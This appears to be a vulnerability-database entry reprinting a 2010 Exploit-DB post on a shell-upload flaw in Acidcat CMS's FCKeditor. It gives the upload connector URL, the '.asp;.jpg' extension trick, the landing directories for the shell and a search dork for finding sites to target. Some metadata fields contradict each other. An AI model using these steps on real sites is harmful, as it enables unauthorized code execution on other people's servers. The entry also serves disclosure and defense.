Acidcat CMS v 3.x (fckeditor) Shell Upload Vulnerability

vendor:

Acidcat CMS

by:

Net.Edit0r

8,8

CVSS

HIGH

Shell Upload Vulnerability

434

CWE

Product Name: Acidcat CMS

Affected Version From: 3.3.X

Affected Version To: 3.2.x

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: ASP

2010

Acidcat CMS v 3.x (fckeditor) Shell Upload Vulnerability

A vulnerability in Acidcat CMS v 3.3 (fckeditor) allows an attacker to upload a malicious ASP shell by renaming it to .asp;.jpg. The shell can be uploaded to the server via the 'fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/asp/connector.asp' URL. The shell can be uploaded to the 'read_write/file/' or 'public/File/' directories.

Mitigation:

Upgrade to the latest version of Acidcat CMS v 3.3 (fckeditor) and ensure that the file upload feature is properly configured.

Source

Exploit-DB raw data:

============================================================================== 
 
        [»] Acidcat CMS v 3.3 (fckeditor) Shell Upload Vulnerability
 
============================================================================== 
 
    [»] Title   :           [ Acidcat CMS v 3.x (fckeditor) Shell Upload Vulnerability ]
 
    [»] Script  :           [ Mini-NUKE v2.3  ] 
 
    [»] Language:           [ ASP ] 
 
    [»] Download:           [ http://www.acidcat.com/default.asp?itemID=202&itemTitle=Download Free]
 
    [»] Author  :           [ Net.Edit0r - black.hat.tm@gmail.com }
 
    [»] My Home :           [ ajaxtm.com and datacoders.org ] 
 
    [»] Date    :           [ 2010-11-23 ] 
  
    [»] Version :           [ 3.3.X and 3.2.x ]

    [»] Dork    :           [ "Powered by Acidcat CMS " ]

   
 
########################################################################### 
 
    
===[ Exploit ]=== 
 
 
  [»] http://server/admin/fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/asp/connector.asp 
 
  [»] asp renamed via the .asp;.jpg (shell.asp;.jpg)

===[ Upload To ]===

  [»] http://server/read_write/file/[Shell] 

  [»] http://server/public/File/[Shell]


Greetz : HUrr!c4nE , H-SK33PY , Cair3x , B3hz4d , Skitt3r , M4hd1

     BHG : Net.Edit0r ~ Darkcoder ~ AmIr_Magic  ~ keracker
                                  
 
###########################################################################